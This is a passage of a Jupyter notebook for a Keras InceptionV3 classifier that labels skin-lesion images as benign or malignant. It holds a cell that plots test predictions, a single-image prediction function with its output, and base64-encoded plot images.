MTPyRVVRD51Sy+JnzI57iy5VCU1Q8SiCp+eBbuHs6TYppWF50/O6UeSOjUGV04GbaQ1m4PF6h0sTXBQTgSr46HSH1q5RnLtgBVw1bN9mFFW6O1Ma1g/GhD4/VlTI31qWfDI3gxqJDnCez9nl0FMsnr+GhLakthSNC99/vOUIcvDjxw+aKlqEOZ372xvLumY3RLjdbqwtDt0///7GH395Bocfrze+fX1+FGWkVgo8L3WhUw1pQjhkY3YSkGEyKujUxHnmKbrliP0MtJ8Wn0uy6Phgt/L/t+XuYWwlA8UzEucR6k6MpsWTAybZFQvNQRRq+U8UY2HYAHjoBN3Ot0FcpsmpRuoPsYmWlIjkMzR6p7bEk8SMIqW7cg62HiNOgRC6n6H3D11BFotydqzP9+4EF8r6hBrn1f/Dr1WFW3fKPDjGDZtGr8o8duplpS4XWtsobuxzZ7iwrkvkSksJxli/4W602nAuUN5w62hdaK1RXEKa46G5XGfjl7qgLgway/aFv37/T8zjhfXrHyKmcHa033CxuICXiuG83d9CN56c0cvyBfwAKdz3l2AGtsZwUloglLqCwLCDKgp9Ms3QttHvf01U1cdZH64wG8eByqCs14dzKHRhoSOzk1idWqKA0Ia+SLSGzX0e4EduqBNGpNSX2tBSmWOE7mHmx44zFL2ideHYD/qx83RdufWBqHNp8PLjd7bLJQ4aEUYfYJEpdx8AldLSHSQ8oiK83xhvb9hxhBZOhLm/QNuQ9WveADt4HDCfRWSs4swRgNFhk7VtFDJGxZ3Rd7aMRrIEhAYY1GhF8WERqZLuquKOttAdDvPMeyusKtjcmanv6+nqXJMgr+7gA5EF0xifFoWZugmAtRAb1OyIbExLblo6eluNSBO3ybA8OCTGdWNG5Nd0Q1ql1o0+OmY7tV3+rq/Bv9SyOfEBZW2pTxLEJ0zHfxLeSlmwfsd7iIa1BqYiDsdCXVb+6bcfjDG4753XW0cE5hgMm3y5XsDh6AFp/volguZfX99Yq1JbpZTC6+srS6uUttCPzhgDFWXdNv76+w+uDZZl4bcfr3z79jU3dkWq4GN/XMRghoPTE1C6nJFMYSAxj8zdOQamn+O5hNib4u8do0qx+ShwYgwZz6hL4os8TE48im7SGBA/K5Xy0KSRf8TPSyykO9cf2jZRjQO45DA0i95SUls6DhClSnmkNgSQOMfNKReRTAU45Qfoafg433MnXLzExwKURt2+MvrxP+zn/a+5Zltp0ym+s/36J77/5f/CgHVRdle2siICS7swbj+oEjKTiDnszHnwpZCOTqWoMF24dwv5pQQoutSNUhf68RZgV4uOZRlCq5Xr+szL61/yrBZUV3wc9P5KAUprFHHu3ajLwn3kPs/gMENqo3jkZ/bjjmrlOIJpdqkLqgu934jLX3AR325v2HJF58d6LT9cYdaPgcpBXbZ4qLDUlm2EIDU6S7HZp6bMYoMp2wVpQXiX2rjdJ/Qb2/bEy48XLsuFbdl4ffvBWhUyYPkYAyGCbe+319AJjc7+1zf2Y1DWjdfbnde3O/X3HyzXK0fv3N9e2C5PrJcr2laO1x/88u1LamxODlDHxxEJAz3b53mxcwsKNus17fkkndz/P35KH2TZpNVGP47HrZzpTAHzYOGcr6fUAssSENgxMIGqgkmJws2OGC9JbLpzxIFea0BNxwjq9CkOr4+bfrix5riztBX3ibYo7FupTISZgN8+9hhheiQKqCw4EV1S3CkKg+CtHSM6DQakpJlzqDOtxyHn0an9DMs8uodzWhoznJJdjXP07inQ9+RZRfKGYD4eneN+HOxH5w/PV/7Xf/8nSHek5416mnPsd9wCD33fD+5HZ22Nf/rrdxxoy8b9vuM4rbUkjg9aa6xLi49ZY9y6LlscykJc2LQyx0FZthCCW2Z9SrATbUaCq1l2hKKPhFHikvFJlmZnzGZH5XSIn8L7k6af4F3O/zwNG1FdhSs9Te9S4iJNFF3HcaelUert7cblesXduL3dWddwzT4K9tQBqgr3PlkcRIW3252vvwa7cpqnZjX2DkHepxG8G0bcJRlood2FvEQkMy9GrAmUPoXHH3zJceM4Xun7C8ftlb3vmflLjKhnZ6oy7eDSamKClowkVGzET7A15e3lO7JWhBjpF43UhbZscVHpR5iicpKxrhv9flD84Jd1Zav/Jgv9MM8sWjj2Ti8hFdF65fl547DJMV/55X/53+Ho/P6XfwQpHPc3yvJE1YIdd1SEqqBiDDdqKRy9o26oNursdG3Usv29X4Z/1vpwhZk5UDfMBT2dUSnYPwsy93T62Vns8HDJic1HvEhtC7+/vvB6vHK7H+z7hLcbt33nsiyIdUwbY7+zLYIsk0mhlcK2rfgotDZZtxXVxi/ffgl3XgpUXf5tdMdqjY3t6zNxdOcNs9/jwTiCT6brGtRxGtJyFFQKqFC2jXnsUOyBkvjoa8zoTMYty5hmvI6ddV3zsFOmB0fJRKJdbpMpErTp3HRb2+jjYGAhUPYcd5sh/aDUgiNoirjnHBQNB2gVYc7g+IwM9cUG++hh5daKmdLaFR0vTE93H8LMW5mWC04kAoCzJzOr1gVzZ05nSmjp6J0JPF1/ZT86l+u3v/Or8C+zuguLn8iKDIXW8hDMQ3ZBjrfI5Uuun5/sr1IRhNv94PW2U4vy67cvUbwJmApaCkWglRhlSqk8+4zRVArQPWN4YqQV/zNmYi3mZJhyvXQEpw8Lk0bROIwZYAMtNZzd9t5BCfB0dFVEC+IhZp+jB1tQ+TTPJSTHjAyN18BiOIolyNPxTKILPWzgQ5JFlkUbyfJzgbfbnWUJwn+/3RLTGOy6fe/UNvB+577fGbPS0iX/9npn3VbcBvseUTyiAYLu07jdD9BBH8a0Sa2FbV0iL/3RnTsBspLcMk+zfMLC0xHsqTl0rcAJnP34a5jRfLCbM7LTz3KhyEJ5+8FvL7/xp+dv9Kn0vnNdnyiz59QodGknUmPOgbCEuWoMKEo/7ly3Lxx90GyiJtQlNGbDhbJe0TEQbWx1YfY3VLxlBpkAAApwSURBVCveD+aMlI5hk8Ng2YJE4P0NE+P3//wf42vZpM+d5fIFl8okzFPTJq0tHHPidNryhHvswYydmxlNjPHBpkwfrjBzUUzLg6jvEqJOP8W/ckZphEvrIcAnzTtpG5ZSWVfh6/NXRu98uTxRXdCW7e8i0HekNux4w90pl+fM4Qxdg/iMNjgS2rO0Xfu4RyTT9jX1FjOMBwpYmBUwi41hdKw75XJBgTkUWsaQ+IxOnQ+ojZlQx9k/R4h5rSvzuIWg3g3VBcvbr4jQDa560viNOkLXVyVNABY3uXncgjrxE2IBDLPBASw1EBq9hzi7lYpIpalTRRJmGYaDYU4R0l8XgekvR4A1VxWaNm6jP6KbwumXLCB6stYEAy5V2SfIjOieooXDBi6F317+gkvBxufomO3D2BbB6xLyAId57Mn7m9nxSIArkzkDIhoayjB0zDH446/P/PEP38LFmtm0UgrqmqT/GKOd+ZYP7IXFK3YaMCTHbIjSNFzOnOkEFoWE449C7r9DZ5xua5s5VovfL21jWDiuDUVLQ+sSYmX/PJokCP2czB4MN4noNBHPPXai2hI/IvgIpuCJAnrwyBJvcn+LAzjG9565qKFLK6qUWpgzdLTr5YpIjohnFFpjjtDxqlKWmo+58OXbt0DVlEJbA3UETm019GwSmuR3pwmPXwuZyqk7C9h44NYcl9Aen/HqH33NORh95OURvDamrui68q0u3PYbbbmyv/3G/e2VJgslu4hqhtaNIoaNnfXyhbfjxqqK++TeB79enum2x4hfCxhUUUwKwwke3n6jUNB1ZVmfOMaBqbDfe+RYtzjb1lZ4GYOj37j3neP2O7VtlHal6sI+7kjEuHLMuET1aaEtLs4YimqLDk5d6ccLMu7M8rGg7B+uMHt7/Z1l+RNWGkboHtzD1aGSm7mNyJW0uJkLNZ2YI4okA/cYR/6nf/xvaGk8X5/449enHJmUvKlnLlsJOKGeMFD/2VAwgQxOFoG5IzWdnNmqj107c/7OzDc7YI7Q2ugasFwi9smJ25uNiY0jKOfTmGPQlgv/d3tnsBvHcYThr7p7ZpYUZSU2YsBGEJ/yXnmeHPJ0uQTIJQmCJLJkSSaXszPdVeVD9ax88U2ORKE/gLclCezszlRX/fX/Z84f7f3/oLhGC9yVaV7iZmqJORfUNKKr+sbmNM9RjGGUVFAHEe+h506RTJZE0y2sMcrUQ4oFtKEW23fJLfzJxCKjTxtTnmk4JsKUM+JOWk6ox3jkq5sTrVWQjAKiFd0fSfMNOWXcazw4BJqH3vGUYyOwlIniTsmF6sJlOzO7U90pOdPa40e+CB+G/7x6y/PvvolOdt+2OsxGrXdGge4b17qYNyLKhG4kmjPP755F0et2fcib1asdRthawNGRiW1A3ovO45HP1c2/d2/iNaF7kzx3XRFXOxsnTGKxSpISFij5CE+P7oqZYtLtdCTG5cdGrzWN4uIzwbsnWZmWHhvXrSl68XnE4V1D5DXHSFjDM+6YYoS2K3Rpz25O0QmjF2few+M1AuDdBJaFa8QTsVV/SDtiDys6WSnn0JPKUQzHeJJrMkHce60XdZLma212HOQRogOY43o79G5Zf81nErHlIr3IjMNQyQtCHHxLnrlbEjnFM6y1sCBKvQHgYqR0h1tIATJK25WMc3u6oWk0HaY8U4icaEnxPdtri/xNFOsZt7kJRaawSGqVm5JQChXDdOe8ntnqyv3bf7M346tnL9h0R3wmy8yUM8+//B1SCpfX/6V1K6mJzGNT5my0bWWZFzYSv7l7ARj369Nasnpyhdk/X77mi99+3cdP0TLz4+YcU+5rSxoRUl7eu4P3baw030GaIDnTvFByIScn5f4Blu7Tkw+T0C2sNDjMCmNTUjwcpZGM1zCvlO7NI1Nk610b6tZPfctt75Ic3mQFmU+oCr4bWhVJhrXWPVgSnibatkVxYAnK5+EWn0shkyOOCeGixpxCs1MkUfczVSyikPqGl2ps5Eiao2iTvsHVQ4cTDlpRNyYpfTRZmaAvXYSRaOSj5shfI5NoTMsN7g3ddsyFLInkYdBornHKI5FEmMqMagMEYWdOmbVFNE9JmdYqkjPNPHRqtaKSYxyTC5YKL9/9SN3Wj3oNPhT/+t9bvvv2a5a54CnhFlux4tF1MjOupVLvWB9JDIfNQpIcmXY9WJo+NrbWECJOx7UL0PsSiLWwl5F82Oj0LibEZuWhK7Ju9SC5d9pT3xjVa+etq6auoverFcOxcUosl7hZ15iFps7MgcQPP3z/Md76XwUzJV29wOS6iRq1jyLSzVwtgs5dNYT10u9rfbtSm3J+eKCZc3NaODzHpHdW8EhWia3N7jXWt3TFHHSPIvD4nbrH5ypFPmroFrnqxfpYhCPE/FgqCI1ZPCVU49B3bJ4q3lMcutGthayits/DY9C2lVJKLOHkbpJsQtXajV4T1pRp+YJbg5Il5B6lUKYTYrHgZmpctjNJK9okCrVpAt1p2wNLOpEk4dNEWx/D01H30By2huVM6Xq10IYJOc14TpRto7XGfv+KszXqek+Wwmm5o+DUy4blWDJ6eP0S8Bi3T4XJjJoL2cA0pClTWSgY2naaKiU/LeuTJ1eY/eP7V/zxD2em6QvMDUVjekU4rrs6uczXLy65O3J7COelzOFDBsynW37/7Td4reSSScst7DuuFyB8XKQk0nzb45O6X06e+27BFkkC3pA09y7bhKTuiXN00bzFGCBPEW2yb3hTyDOk8LKSVjFJmK1QFcqEaUNdkJ476Aj7eqYsT6st+0tstTFPBSWRc0LahrZGkihqDA/tmLXQ6bmBK8mXsEURiwNyt0pZ64rVxzh9ExKWwxHcU9yYm0e2Wwb2Fu33kiBn4XGLHFaskSRDmaja2DU8lKoaD7vy5sd7alXutzVGrp542I37xwvbduG8XVhb5WHd4mdb2VU5Xy68fvuOI5r+/vHMtlf+9Oe/fNwL8QE4V+GxCrdkCoaZIj9vdvTt1dCr5H7Dlv5A7b2MVOKz3j2IHK7jy5Rz73LFXwydVzxATLvn1ZGNSO+IHFFNh9xABGSObNRj5N16EgGHdj1hukWpeJiXCv37miJ42+KzpB46yWbCVo2//u3v//f3/dfCpS9u9KL5GkjujrcN1+jee8+y1PUe00o53fbFjhhTpyQ8v3sWlgb5/bU+lm6ka7z6f42ijR7llSx8zPqEwnsRd43mol866VvudiyX9ALLpRfw3ovAGOtZ3eO+cWjLtIGXn+kTE9Yal+1pbfL9Em8uKy9un1H6xMal0IiuV72s5FQw3Zhuv6ScoHkFUYQJmWZse8Bapa7vqPXClKFdttD0ptzv4UqdMjlFZuWWE6WFMTEkVCKhRVOirfdUwpJmt41aNzITJSmbAxR8ek5GeKiGo+QcZvEiqfsOblStSFqovVu6W8PbG055woC6bbT1gTafuOjTmkzIcYoYDAaDwWAwGHxcPh+16mAwGAwGg8ETZxRmg8FgMBgMBp8IozAbDAaDwWAw+EQYhdlgMBgMBoPBJ8IozAaDwWAwGAw+EUZhNhgMBoPBYPCJ8BOsGHDenknXMgAAAABJRU5ErkJggg==", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "def plot_images(X_test, y_pred, y_test):\n", + " predicted_class_names = np.array([class_names[int(round(id))] for id in y_pred])\n", + " # some nice plotting\n", + " plt.figure(figsize=(10,9))\n", + " for n in range(30, 60):\n", + " plt.subplot(6,5,n-30+1)\n", + " plt.subplots_adjust(hspace = 0.3)\n", + " plt.imshow(X_test[n])\n", + " # get the predicted label\n", + " predicted_label = predicted_class_names[n]\n", + " # get the actual true label\n", + " true_label = class_names[int(round(y_test[n]))]\n", + " if predicted_label == true_label:\n", + " color = \"blue\"\n", + " title = predicted_label.title()\n", + " else:\n", + " color = \"red\"\n", + " title = f\"{predicted_label.title()}, true:{true_label.title()}\"\n", + " plt.title(title, color=color)\n", + " plt.axis('off')\n", + " _ = plt.suptitle(\"Model predictions (blue: correct, red: incorrect)\")\n", + " plt.show()\n", + "\n", + "plot_images(X_test, y_pred, y_test)" + ] + }, + { + "cell_type": "code", + "execution_count": 33, + "metadata": { + "id": "P90i8WNeo8P0" + }, + "outputs": [], + "source": [ + "# a function given a function, it predicts the class of the image\n", + "def predict_image_class(img_path, model, threshold=0.5):\n", + " img = tf.keras.preprocessing.image.load_img(img_path, target_size=(299, 299))\n", + " img = tf.keras.preprocessing.image.img_to_array(img)\n", + " img = tf.expand_dims(img, 0) # Create a batch\n", + " img = tf.keras.applications.inception_v3.preprocess_input(img)\n", + " img = tf.image.convert_image_dtype(img, tf.float32)\n", + " predictions = model.predict(img)\n", + " score = predictions.squeeze()\n", + " if score >= threshold:\n", + " print(f\"This image is {100 * score:.2f}% malignant.\")\n", + " else:\n", + " print(f\"This image is {100 * (1 - score):.2f}% benign.\")\n", + " \n", + " plt.imshow(img[0])\n", + " plt.axis('off')\n", + " plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 34, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 355 + }, + "id": "NxmEtkuryAob", + "outputId": "0f8fba67-0393-4a39-f6d6-621f3f9825fb" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "1/1 [==============================] - 0s 27ms/step\n" + ] + }, + { + "name": "stderr", + "output_type": "stream", + "text": [ + "WARNING:matplotlib.image:Clipping input data to the valid range for imshow with RGB data ([0..1] for floats or [0..255] for integers).\n" + ] + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[[0.6803772]]\n", + "0.6803772\n", + "This image is 68.04% malignant.\n" + ] + }, + { + "data": { + "image/png": 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